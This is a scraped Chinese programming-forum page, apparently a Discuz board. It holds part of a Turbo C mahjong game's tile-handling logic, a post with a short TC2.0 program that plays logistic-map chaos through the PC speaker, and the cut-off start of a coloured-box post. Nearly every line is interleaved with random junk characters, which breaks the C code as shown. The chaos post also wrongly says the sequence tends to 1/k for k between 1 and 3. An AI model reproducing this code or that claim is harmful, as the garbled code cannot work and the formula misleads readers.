" |9 F$ G; c6 M2 X9 e  Z- [{3 t5 Q% I# k+ m  r
x1=200;
2 f9 g4 N$ Z4 M9 X2 ]y1=165;
) a8 j7 M" ~; Z4 @+ pfillRectangle(x1,y1,x1+20,y1+4,0);
2 K3 L8 e/ _4 W; f* X}7 q, u5 F' z( ]: ^# U# ~0 @! r
if(every==10)4 L2 B" ~3 ^& W+ w. y( q; h0 e
{
) i* v2 L. }/ O" \x1=220;. \" }, q/ g# v7 H
y1=165;  E/ c* q  i& s; k, i
fillRectangle(x1,y1,x1+20,y1+4,0);
6 @1 D% D9 |/ v2 m- o1 a! f}
; w! Z3 p/ Q- Y) d; f6 Dif(every==11)! k0 }. _% D0 V% n2 u( F; G
{9 C" v! w; @% `6 b  ?+ [
x1=240;3 h9 l' x8 T* i" |/ e
y1=165;
( L1 r' X- }3 X- T1 _* W% C3 z: r+ PfillRectangle(x1,y1,x1+20,y1+4,0);  n! u. r  {4 V1 G7 {- l  U
}4 J: }4 t9 E5 _; Y, c
if(every==12)
3 K( u+ j0 Y7 H( W0 N* b5 T{
7 J8 T8 }5 S& f, u8 L% J& lx1=260;9 s5 {0 R: m) O7 }* G  t$ F  C
y1=165;. C, i& z( O2 U; j/ S/ z2 {
fillRectangle(x1,y1,x1+20,y1+4,0);
4 \3 _. Z! Y  w3 n, E  K}0 p6 d4 e: @. R% f  I$ L
! s' M4 o, S1 v6 h% s; K
zz=0;, G' z2 ?6 ~/ |: g# P( O
every++;
9 U0 n9 T6 H' }) \1 Fz=z+20;8 A7 f9 b0 t0 M! X
}2 R, d7 t& N# ?5 I+ ]
showbmp(every);! Q0 a  n: \. V' D% j# Q
key=keyy;" b! [) B" Q4 ~3 X5 Y4 o+ J) ?
if(keyy==ENTER)- P" J5 M8 `, {1 o# A5 B
{
/ F" n5 x& P8 i- N. \7 T$ k4 Lrgzn(every); /*********************/! Y  ~! |# q6 y5 z/ q
if(sing==1) /*如果可以乓,做相应的处理*/
2 e+ E9 M) Y* ^3 e+ g0 `{
/ S% M8 A9 A  E4 \kkk=0;
( G; U( |$ X: R% fkkkk=0;
$ ]0 I4 A; a- Rwhile(kkk&lt;=computer.m)* O3 ?5 e' o. K1 B( \
{7 v- ~/ e) W- |' e  w' I4 z
if(computer.pp[kkk].p!=1)
  m) V. r! W) p4 I9 l* D{3 W+ M& m' P9 s! n
comp.pp[kkkk].k=computer.pp[kkk].k;
* v" p/ T6 I4 r( z  Pcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
& K+ D8 b$ P8 m* Q7 mcomp.pp[kkkk].number=computer.pp[kkk].number;
2 j5 C9 {8 {8 Z$ J: g, Ukkkk++;+ g" t: Q; L2 p" y- g! Y
}3 V/ {1 Y9 ]% V2 j+ a) G
else/ P" [' H( \3 F( V) j7 ^
{, N0 T1 [0 Z  O) U
m[computer.pp[kkk].number].data1=1;
/ X' n) h* z5 w8 z- {( [dwei=computer.pp[kkk].number;
- a" t) B7 i: ucomputer.pp[kkk].p=0;7 W: h/ j% h1 M$ X4 G/ p" d9 Z
}
' K, ^/ E# x2 M# W9 U: H) lkkk++;
" k# R% ]. F9 p: `$ f9 D1 I$ n" i2 k}" w* g8 j8 Q' K) ]3 E: ?3 B5 `- S8 p6 X
ll=0;* O' k$ q, n* d- f
) z* _! |) ?% Q9 ^5 k
while(ll&lt;3)! e$ Q7 B) u6 M* h, w. w% c, g
{ zl=zl+20;8 B. B5 T5 U+ W6 R
bmpp(dwei); /*显示乓的牌*/
3 b. Q) Y1 N8 i3 R  Q0 yll++;8 V3 ~7 D. Q/ s6 T. E! i' {+ T
}
4 X* s) P2 u; F8 b4 I0 T6 y: S5 h" T$ X- w  J
zl=zl+9600-60;
& L! ^. z8 w+ _! G4 b6 Pkkk=0;
. s8 e* V% q  `4 K6 ~' j: Acomputer.m=computer.m-2;
& U0 b; b1 c" y) hwhile(kkk&lt;=computer.m); O4 j- Z9 |6 y( m
{# Q9 v6 v' T' h/ c# w, v9 H8 z
computer.pp[kkk].k=comp.pp[kkk].k;) w5 g8 q; G# o4 t1 [/ _
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;7 p9 f: Z& k2 L8 N# Z) W, N
computer.pp[kkk].number=comp.pp[kkk].number;  n8 P8 r! M( x4 t
kkk++;/ _" ^5 b; I  s! M/ S9 R
}
! }+ I# e* W% n" {- Z  D; i6 jll=0;; R8 y& V1 T# q; t6 X
temp=random(computer.m); /*出牌等待完善*/
- `" C9 H- L8 h8 Gzyy=zyy+9280+20;
4 p' P! k3 f  b5 \6 Q0 Tshowcbmp(temp);
) y- C, r% O9 P1 i: Bzyy=zyy-9280;
& w  K" }" \2 x; p  \, E  E/*****/
  m! {  }& v& l  O7 ]7 j6 F1 ^6 xrgznme(temp);
/ |( ~" O- w% S& X! tpanduan();- X0 v3 ]; I- G$ s( e, H% ~! g) v6 M
if(me.m==0)
  k8 K6 F. e+ m( q6 _1 xif(second==1 &amp;&amp; threes==0)
. z& `9 R: e1 L) M" G' |printf("you win!");4 u- C4 U: U( F- y
if(me.m==3)$ A; `7 [5 H9 }& h
if(second==1 &amp;&amp; threes==1); g3 \( u& I' g- L
printf("you win!");
1 [3 ?/ s* E9 l& aif(me.m==6)
  e7 O* S4 Y: t& v8 G9 Lif(second==1 &amp;&amp; threes==2)
; `. t% t/ h, T6 Lprintf("you win!");
" F9 T7 O+ e# y7 W0 Xif(me.m==9)
% @2 R  _+ [% I8 u8 ^& `5 yif(second==1 &amp;&amp; threes==3)5 P: `( X0 _6 _/ ]
printf("you win!");7 j, M, J. |6 v; ~6 d/ s
if(me.m==12)( g1 Y5 u0 K- q
if(second==1 &amp;&amp; threes==4), A* a" \+ j8 ^1 t$ r9 h1 h- K
printf("you win!");7 |+ |8 y/ _0 }0 S; @

) X( V6 t+ \5 s0 J! Okkk=0;
" p3 g0 k# z% \7 Ekkkk=0;% f2 T) M) N2 C' d; U3 Z( V
while(kkk&lt;=computer.m)
  K* a+ q2 Y8 f" m4 P{
$ p! h' H4 I7 W, }7 P  W' L0 U. Vif(kkk!=temp)0 n# R! ~' ~4 f+ W
{
7 \4 H2 \9 O" _9 a9 x; i3 v* H, \comp.pp[kkkk].k=computer.pp[kkk].k;) h& A# n) s7 o; d' u  n) Z
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;- t+ }: S" T8 i1 H. }7 W& b& t! h" N
comp.pp[kkkk].number=computer.pp[kkk].number;
* l2 H3 A2 o! V: w+ G# M9 U8 ekkkk++;
0 v6 i# S' A1 \. n$ k9 G}
$ B, q8 \5 j- [else
9 `! h; r+ @# j, L6 z. I" Um[computer.pp[kkk].number].data1=1;! D0 ?% s+ {* P
kkk++;
! @( G* n" p/ o3 D}
! C5 m2 @: G: s: d2 r- ]kkk=0;
) p6 D6 A( B# e6 J' _2 ^1 C$ Bcomputer.m=computer.m-1;
( e3 A- L1 \! ]8 D% t- _while(kkk&lt;=computer.m)
: J4 H4 D( |0 A( K: l( ?{9 F9 c# o+ R0 E- ^- z, B. A1 ~) [# n
computer.pp[kkk].k=comp.pp[kkk].k;
5 f$ |# ]8 O* F# F% E: hcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;- |+ f9 T3 y3 E# ]" i9 C9 }7 s' r
computer.pp[kkk].number=comp.pp[kkk].number;
0 Q1 J$ J9 t* R! l1 D( i  jkkk++;
2 i  R4 d, s. x2 Y$ a" `( F}1 V; u" q0 M% x. e* U; s! |
fillRectangle(0,0,320,30,0);' [  S7 u" y; N
n=computer.m;
" `+ |5 B+ t. B# }$ Rll=0;4 A$ n3 ]" a/ B. d$ F
zy=0;
. @' @6 b& s4 q% l' z3 V" iwhile(ll&lt;=n)6 ?0 K- B- e1 ^& u1 P8 y
{
; l9 h  j  x+ _" ?6 @1 ^zy=zy+20;) T" }7 d% k1 h& I
showybmp(ll);
1 _" z1 q+ Z: l/ t7 _; |0 D; \ll++;1 B) t9 P* S  k1 G+ |9 P
}
$ y$ Q0 m* o8 dll=0;  H* \% e/ }( s1 G1 a
getch();
$ f. H  _7 @0 U  H, T" M! S3 y2 rsing=0;
- G$ ?9 N+ ]4 R2 U' F" asing1=1;
& ?! m' O9 b  ?4 q  g5 r}
6 V) d5 \" M4 }; w* f0 j: d5 I! J2 {2 `7 {
if(sing==2) /*如果可以杠的做相应处理*/3 S. i$ Q" ^- ^% i" h& D- M
{
, M$ R+ x, j0 A, B' I9 [$ kkkk=0;
5 F3 U9 v# Y: s: {* P) ikkkk=0;" I( [1 W5 d; t7 J. g
while(kkk&lt;=computer.m). l. ?  c, A0 E: V9 ?
{# o& ?8 ?7 I+ j0 [0 B4 r0 I
if(computer.pp[kkk].g!=1)
' i0 Z, ]& Y; Y" }3 G{
- |8 o$ {2 k7 I' [( v6 Ucomp.pp[kkkk].k=computer.pp[kkk].k;& s0 ^/ ]+ ^, s" N( V, l
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
8 |% }# ^: z  ~: ]# G8 V6 s& D* zcomp.pp[kkkk].number=computer.pp[kkk].number;5 N6 r  O9 h2 ?3 h
kkkk++;
1 ~* R# ^* u& E- V}  E$ H  `8 \7 u) h, M
else2 w; s- Q' y! x+ E% p9 b4 W
{1 c, O2 I( w3 K* m7 q
m[computer.pp[kkk].number].data1=1;
6 E! i9 V& s/ N' r2 ?6 a% Hdweig=computer.pp[kkk].number;+ Q7 j* N! J1 ^2 ~& _, E
computer.pp[kkk].g=0;) R! m5 j3 R9 {" L: ^4 s
}1 L2 D% n0 Y- b
kkk++;6 l: {# M8 Z* \! U$ F7 V
}/ N5 p- V5 G  g* D; [& S! ]" V& r
ll=0;9 d4 u' j6 q5 K+ \

7 i6 l  j" {0 x: B2 ]; H7 nwhile(ll&lt;=3)7 M9 f) U9 X% |4 i
{ zl=zl+20;
4 D! d" H6 _+ |" bbmpp(dweig); /*显示杠的牌*/8 o' R2 I& z! N
ll++;
) n+ g$ {/ G4 W5 S" L8 }}" M# L7 j4 C& Q% ^; d  p, z( C+ D
zl=zl+9600-60;
% Q3 ]' Q& W4 n. J6 Rkkk=0;* w* B- ]& F2 `, a
computer.m=computer.m-3;
6 d# R1 Q. k4 `! o" Uwhile(kkk&lt;=computer.m)* M. i7 a; ^6 s  L/ O5 |) P
{$ f/ T1 _0 o( A4 l7 j
computer.pp[kkk].k=comp.pp[kkk].k;' ?% A: n, y" V8 R9 Q+ l
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;* _: b+ G  t5 [- y  B1 ^0 t* }8 h4 s
computer.pp[kkk].number=comp.pp[kkk].number;
' W( U% U/ A: m7 dkkk++;
* r  j2 P/ u/ p+ N}
, d. k) ?3 p3 `1 `9 z7 v, tkk=0;; _9 `7 f' B1 c; `7 a" [) e
computer.m++; /*加一个牌的容量*/
  M- Z0 d1 t6 t0 `: Hwhile(kk!=1)1 a7 W9 j/ D) P# }1 Z" z+ `( i
{
+ ?# S- n5 q$ itemp=random(136); /*出牌*/) z  o( ?( C, G# ~' e% d2 C* X& K
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)- l4 x0 Z: H  K4 g2 a6 h
{
4 O2 s$ T1 U; h6 t  Lcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
- J: p+ P* W3 t1 a1 x8 e& xcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
  y: T# D9 r) f; @! X2 l: qcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/5 {* k' f0 M$ W# y; N& W
m[temp].data2=2; /*判断牌是谁的,2为电脑*/; A+ U$ Y" @1 I2 X8 K: @# P
kk=1;
( J; R1 e7 o8 @) O: B& U}$ q& n2 R! Z) k: o
}3 ~  D6 F, e: I* \- l3 r+ a
comlipai();
7 |" E" p* F* J( C* Q2 ~* R/ W5 etemp=random(computer.m); /*出牌,等待完善*/7 y, B* t( q! R/ j/ z% H2 i
zyy=zyy+9280+20;
0 N, P  f& ^$ Zshowcbmp(temp);
7 R+ F) K/ [+ P! M( Y8 Czyy=zyy-9280;
( e8 ?7 y& C9 r2 [/*****/5 D0 I, ?, ?/ O, Z
rgznme(temp);
6 B0 i/ ^" R' Npanduan();& e' b! ~5 z/ Y1 b
if(me.m==0)
% c0 l$ {' e* Q9 f& o: xif(second==1 &amp;&amp; threes==0)
2 d6 S5 y3 r! J. G3 Eprintf("you win!");
* }2 n; c  ~7 H0 W, Wif(me.m==3)
& M' F# W$ u* N6 kif(second==1 &amp;&amp; threes==1)+ x7 O' y1 f) N% e0 l/ }
printf("you win!");
4 A' b# n2 N8 r& L! h1 Y# _if(me.m==6)
; X+ {! u6 }& c; dif(second==1 &amp;&amp; threes==2)& ~( n5 z5 B6 ]- @) _% k$ x
printf("you win!");- y3 p2 q1 \7 j
if(me.m==9)
* z/ m' h/ T- k1 v" A- V0 [if(second==1 &amp;&amp; threes==3)- y: q, [. J  z1 e1 V
printf("you win!");
2 B4 E* F; y8 [# F+ T+ o5 Tif(me.m==12)
! v& E7 g/ m  [+ K/ m/ Fif(second==1 &amp;&amp; threes==4)
7 v, @% [: M  qprintf("you win!");
  u: z( {# _9 m% W6 Y
8 q- S) |: P- ]! a  I. g4 v- n9 R6 ikkk=0;9 ?  H7 i7 h) N& ]7 u  j0 }
kkkk=0;; {. z. s- S2 t  v+ U+ i
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
, W( G* Y* b. M$ y$ t( s{
7 Q, ]) X4 A1 j( P# Eif(kkk!=temp)
; U# K+ u1 V8 B' I  R9 h; F& D{
# E! G- h2 I, Ecomp.pp[kkkk].k=computer.pp[kkk].k;
+ F2 ^6 M$ w7 I2 V5 Acomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;2 J/ o  Z- P/ E, S4 }( e" V) l  j
comp.pp[kkkk].number=computer.pp[kkk].number;
( n4 o9 H' s! f* |( Y/ k0 Pkkkk++;+ w& W' L4 }) J6 x+ v5 P) s- L3 d
}
2 m* u& V# G6 {. C  o/ @) W! Lelse1 p# W. q$ P+ {1 }  m
m[computer.pp[kkk].number].data1=1;4 M, l( ?+ ~- w! e# L
kkk++;  z3 b9 h/ B0 F8 l
}# z  Q, j1 n+ @  y
kkk=0;( u" a5 O% y- m3 I
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/- R8 S1 `3 G2 c3 ~5 b5 t0 P3 R6 X
while(kkk&lt;=computer.m)
1 J  O% \8 n# r( [+ u{
' \& A6 s% y3 i8 B; \) Pcomputer.pp[kkk].k=comp.pp[kkk].k;  t  x$ u, S! b1 G
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
- x: `" i$ [: _, Z7 Y+ {! t/ ?9 Z% Qcomputer.pp[kkk].number=comp.pp[kkk].number;7 K9 N* R) c* W. a
kkk++;
% u9 N5 v% i4 B: L! ~7 a9 Y}) r- Y0 s. U/ K( _
fillRectangle(0,0,320,30,0);( C3 X& K4 Y) u( C
ll=0;/ F  P6 g. @! O4 c$ I  `
zy=0;
( p% M* S' ~6 i" awhile(ll&lt;=computer.m)2 u5 E; C* F7 S
{+ C( \5 S, M. |$ i: `  e6 }
zy=zy+20;* Z7 q8 m, O: r8 T! A. ?$ P4 {
showybmp(ll);
6 k& k4 F. s: ~* Q4 wll++;
2 i  i  D4 V! w8 M' L, R) D- O0 c}
, ^8 b  T. i  {* jsing=0;% v9 n8 x9 V3 e$ A
sing1=1;- `4 |/ }: v5 g0 Z9 q3 q: L' W( v2 D) W
}6 v; {8 u& x# f8 f' s
if(sing==7) /*如果可以吃的,做相应处理*/* ]# T: k3 H) m, V
{ nn=0;' K8 V5 L' D) u) B; z! f0 r
kkk=0;6 `/ U2 U; r& I
kkkk=0;0 e' _( }, ]" r0 W) L/ F# v# D
while(kkk&lt;=computer.m)
) p! F" n. b9 y{" r9 L' N/ u+ W/ [) W
if(computer.pp[kkk].c!=1)+ e* _3 a- ?* @2 R# N0 V6 `6 u
{4 M3 r1 A! q' G9 p# P- w1 b
comp.pp[kkkk].k=computer.pp[kkk].k;9 X  g' F- D! V) a+ k7 [- i" f
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;& Y8 I+ J3 b* E1 u! a5 p% m
comp.pp[kkkk].number=computer.pp[kkk].number;( X- B' Q) w# t- ]5 A
kkkk++;0 s  y! V* U6 M# G' Z0 t
}; F8 w9 P; B4 E
else
' v3 a. D. M& q6 s{
1 D9 W* o6 z$ c* j( u4 Ym[computer.pp[kkk].number].data1=1;2 h# j* E, c" ^7 p3 e
dw[nn++]=computer.pp[kkk].number;9 _5 ?+ u: ]: j4 L
computer.pp[kkk].c=0;
# g/ P( }4 j3 V7 N9 S) }}
" m  z, d/ F: f3 J) N8 akkk++;
  i( [- U& }9 D  ~3 U- h% K7 G}6 u: P+ e: A! v: @* v# t& H
. z! m/ s: j7 }3 h  C) i" m
if(me.pp[every].number&lt;dw[0])2 b$ H2 B  M9 h5 s2 Y) h' N
{) A2 H6 }+ D+ W  Q& e' @
dw[2]=dw[1];
& ]! V1 u% I8 Y8 a, Xdw[1]=dw[0];
. ^7 U. }  c. l3 s6 q- Sdw[0]=me.pp[every].number;! L% E7 Y5 A) F) j% L7 q) z, x
}
  Y( Q4 z$ g1 G; ~  R0 F# K0 zif(me.pp[every].number&gt;dw[1])
- Z, E8 V$ I6 Y. `; e, H{& Y$ `4 t; r% r# G6 }6 _9 u
dw[2]=me.pp[every].number;4 P7 g" q  e, I' O
}
# J) l  V; Y  H) J/ Zif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1]): b" m1 S2 S1 m" r
{4 {1 r2 h& l$ P
dw[2]=dw[1];
3 \: d' e) r* Odw[1]=me.pp[every].number;
9 C' r# F# Q2 w( m0 k}
7 Y: k" G' I# T8 xnn=0;
5 c- X/ v( \6 q( A5 swhile(nn&lt;3)6 u8 d( H, x/ M+ T2 g/ g+ j0 h
{ zl=zl+20;
7 }- W( X+ v# `: N, o/ B3 Cbmpp(dw[nn]); /*显示吃的牌*/
& [9 G) n5 A; l; X9 |nn++;/ r" K+ f' ]; L% o) R
}
2 q5 z* D' K  U2 c% U( tzl=zl+9600-60;
; Y$ b" E1 c: i1 n; z6 r/ lkkk=0;
" N6 [# C, j* \/ M, G/ y: t+ rcomputer.m=computer.m-2;5 ?6 B  |+ S3 Y- _$ s: {: Z
while(kkk&lt;=computer.m)* Z5 M; _5 |8 i& @5 Y. G
{) t" _4 c6 \- ]# x3 r
computer.pp[kkk].k=comp.pp[kkk].k;0 C; c4 u/ h) `6 K: F8 s
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;$ p# \/ ]& ?. R: a( ~
computer.pp[kkk].number=comp.pp[kkk].number;
1 ^7 p' j' L  _. m2 z! @! Pkkk++;
% M* t  h" T0 U4 p9 N}
7 }# ~& b, N+ {ll=0;
  K2 v' c6 j* [, a, f4 {7 `temp=random(computer.m); /*出牌等待完善*/& u# f, a5 `9 Z7 U; e
zyy=zyy+9280+20;" E' y+ `  x! f" ^. o  E) l
showcbmp(temp);: B1 T) A0 }4 i
zyy=zyy-9280;  x0 {4 a, n3 A) G
/*****/# \4 T; i6 }0 u) H2 v( a
rgznme(temp);2 v& b. S( y2 b7 H% L( I1 L  C
panduan();
3 A! D+ f4 p( N! c3 t: r5 Pif(me.m==0)
  Q6 s5 Y6 j% i- Z. N% i$ @if(second==1 &amp;&amp; threes==0)
$ p' t  Z3 ?4 X) }* }) B* A( k0 cprintf("you win!");
& e9 G  f/ V8 B! H9 N. C2 xif(me.m==3)3 f9 V" i; N/ u. G
if(second==1 &amp;&amp; threes==1)& L& j1 C& ^# `" Z+ u% t/ l# q
printf("you win!");2 ^9 P- P( j4 @
if(me.m==6)
  L! u" f- j: J6 I9 Wif(second==1 &amp;&amp; threes==2)
: E0 t# @' M  d! vprintf("you win!");
/ z% {" j" o* U- Lif(me.m==9)* t" o. [) n5 T, R6 a
if(second==1 &amp;&amp; threes==3)1 [- [5 A# p+ w
printf("you win!");, g0 `) P5 c% y6 N2 X; t
if(me.m==12)
1 I; J6 _3 A2 v2 \- s$ aif(second==1 &amp;&amp; threes==4)  q5 H) R/ I" [& U. i
printf("you win!");
. g& y" n  M0 [7 V6 K5 t) A$ I: d/ z9 c9 h
kkk=0;
8 z# J/ V- N$ y! p. U/ Pkkkk=0;  n9 l( n' c  `* _
while(kkk&lt;=computer.m)! }  ]$ g: H: x0 o7 A
{/ g% _' w& K+ G, H( ~# P
if(kkk!=temp)
3 z) I0 }3 G: e' f4 N! i8 t1 D{) z) y+ h. ?2 [! ~: y
comp.pp[kkkk].k=computer.pp[kkk].k;
% }0 t( n. d+ scomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
( {2 E) \6 M+ g, Ocomp.pp[kkkk].number=computer.pp[kkk].number;
0 |; y2 N& s6 d/ M- U3 Qkkkk++;- N) h# @# |1 A1 X7 G2 c3 d
}7 b2 \: z' @, d: h5 S2 ~" T2 X
else
' W8 P0 ~( j3 ~5 ]3 Bm[computer.pp[kkk].number].data1=1;
! y: W, X/ O- E5 e5 _/ Bkkk++;
4 ^% H# g" U6 F  G% o! d}. }( B% \/ b( V$ @$ \
kkk=0;7 h: Z  Q  O, ^1 b* K% Z- {
computer.m=computer.m-1;5 ^/ ~% M' j( w
while(kkk&lt;=computer.m) 2 A0 j) e, w- t$ b) r' [2 Q
{$ \! Q* m  W" F* g, C
computer.pp[kkk].k=comp.pp[kkk].k;
/ m/ A8 y8 c4 K6 `; mcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;$ X" J+ i) T' `& k" @
computer.pp[kkk].number=comp.pp[kkk].number;( A' w# m5 U# [
kkk++;8 n9 l, w# }4 R% F0 t2 v. c
}
+ U3 T( F9 A* {1 s" g6 lfillRectangle(0,0,320,30,0);& h$ j; }2 v4 s9 T* P: e9 T/ {
n=computer.m;
) B' M5 N: z$ n. ^* Lll=0;
/ r/ [& _0 q  C6 U  ?, R6 {4 [7 dzy=0;2 ~1 D5 Y8 u: [/ P! T) n5 _
while(ll&lt;=n)+ R! `: _  h, O6 h
{
% }( I- C) x5 C0 g) V$ W; s* K& ]2 \zy=zy+20;
- X) r! i/ y5 s2 b2 sshowybmp(ll);6 g$ N8 \+ k4 Y  D6 L# H
ll++;
; o: d9 G3 {! F0 {0 P}$ p* M1 |+ _/ W& }8 M3 r( y
! e; c6 [# C/ B  K, i
getch();
' p# y) U9 L4 ?& ^sing=0;- j+ h' r& J" y7 ^0 L
sing1=1;
8 G4 m* Y" C8 A3 g9 H2 K# M* c1 d}9 t$ c! G! H) M/ |. {
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
' H! n( Q+ l  e8 l{6 U5 F; H3 ^" V
kk=0;$ ~, ?: p" A' v, q0 ^) f
h=me.pp[every].number;
+ _( j. Y' v9 sm[h].data1=1; /*此牌已经无用*/9 u4 A7 C; I0 r; v  U
if(sing1!=1)
% ~4 `  F  o; t& m. [" @/ j{
: i" t0 O* M' G8 E2 Y3 Kzyy=zyy+9280+20;6 R+ o- v1 {$ s5 D" E
showbmpd(every);1 N2 R' s) r' ]% b
zyy=zyy-9280;
; Z# J6 U# T8 g' M}
6 G: ]9 L$ m4 n4 S7 Awhile(kk!=1), Y3 w! e8 Z$ L* @
{
. Q# ~( X; \- k4 a6 {* z' G  Ftemp=random(136);' J2 {( z5 Z. _9 a
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
# V( H  i2 K' J( L- y{
# N& l, h& ?8 s8 b1 v/ ]me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/7 m( K: g( ~, A  T* U) R
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/' N: b( F# [' A# ?# a; v) R
me.pp[every].number=temp; /*第几张,用来排序*/
- p* Z# O1 G: @4 R, `, vm[temp].data2=1; /*判断牌是谁的*/
2 i$ M* ]" V; @& r/ O, G4 Hkk=1;
0 A% d! [/ c; ?, V$ W, Z3 Y# ?) [, X1 Z}; L  C; y1 V0 Y! X6 l% q) }
if(kk==0) /*判断如果又选择了,就从新再选*/  T, ~2 A4 L" Z9 d
kk=0;7 C' X+ ]; |* Z: }4 x
}
4 ?7 k, I. Z4 A" \}
! x1 V, @& _. l. A& ^; rsing=0;
9 g$ u/ s+ O5 B4 D8 l0 Tsing1=0;0 K- M1 M& A* X% ~% J" F* k
melipai();8 M$ \, x( E* l, G! C# ~
n=13;3 U# j2 v3 G) I8 T1 e8 Z8 A1 _1 O' u
z1=54400;
" ^& a7 L4 M/ |7 P' {l=0;; S6 V/ F, q3 T5 ^2 P
g=z;2 t* H9 j% M) o3 _3 x0 L. |
while(l&lt;n)) [4 w: l) x+ X! H( s" M7 d2 k% c
{ z=0;9 j8 P; H% Z1 z; L! @8 C0 q
z1=z1+20;
. C# ?; u4 }7 h! Lshowbmp(l);
" s# C6 r) y+ q" v4 t2 Q6 k5 Hl++;
$ [6 ~2 e3 r+ E, x2 W% \$ ]}
7 m; x* E3 I5 N# y! fz1=0;
6 W& x" a/ a. c, }) o  A6 C! Gz=g;
* [& c; k8 A: B% ?/ n+ s}
; L* Z3 T4 o; A# r0 Zkeyy=0;
. o9 ?8 m& A6 M# P& Y}
& e" |1 Z8 f6 p& A/ h3 ^4 |2 K2 v) |5 s* H6 Y! r9 N: Z8 ^. {  h
getch();- b) D  w4 }, `6 Q6 `  M  Q; z9 H% T
OUTVGA;
3 R# _$ ^0 Y7 H' A3 X! e: ]8 U- a+ ?$ r}
( w" S" s7 d. Q' P6 I, N</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
% w( A) [# q& j6 U& [: a</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:0 K8 E# T6 ?8 ~  L/ V. Z) V
$ C3 l* r* C+ o6 K) Z( \- l: H  Q1 v
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
% p& e) Z) Z( v6 q9 v: U  <FONT color=#009900>#include <DOS.H>
; }# R0 ]1 ^; S3 d! p  #include <STDIO.H>0 q$ r7 v# K) ^4 a* P
  main(){& U2 u( x8 J0 k) c0 z% b
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/( O' m! C/ `* l) s/ }7 k
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
1 j& `! o4 I: x7 N/ b# Q5 l# X  /*i,j用于循环记数*/
0 B& q& \; j( Z; y1 H, R; x: Q  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
* S* p* Z; C. y5 }9 r  fDis=fMax-fMin;
( R: K+ q) r1 W, E  I  for(j=1;;j++){
; ^$ u4 z( R/ r  R7 E: h  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/5 y) u' {2 d0 @0 y! k/ q
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
- s4 P( Q! O7 [, V9 ~  scanf("%f",&k);
5 J7 J1 h" x$ k  if (k==0) break;  O' ^, s& G9 W2 w  I/ {
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/4 G+ d  H# U2 A* X, @
  x=k*x*(1-x);
/ y# y! M# K3 V: a2 m; k% }  for (i=1;i&lt;100;i++){, a* e# \! v1 s% n8 D& [' ?1 d6 W2 W* D
  x=k*x*(1-x); /*计算x的值*/+ I3 i7 [+ h' J% m; Q) S
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
  Q! K: `3 Z( R  p! q  delay(1000); }, y9 ]/ }) w: Q4 Y5 a) W
  nosound(); }}
! p3 h5 N% u  c% ~6 a  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。. _: e, Y! u  F# L
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
9 B7 A7 H" \( m8 s$ G- P6 E) y<FONT color=#009900>/*' W: ^0 I: l9 J' l1 X
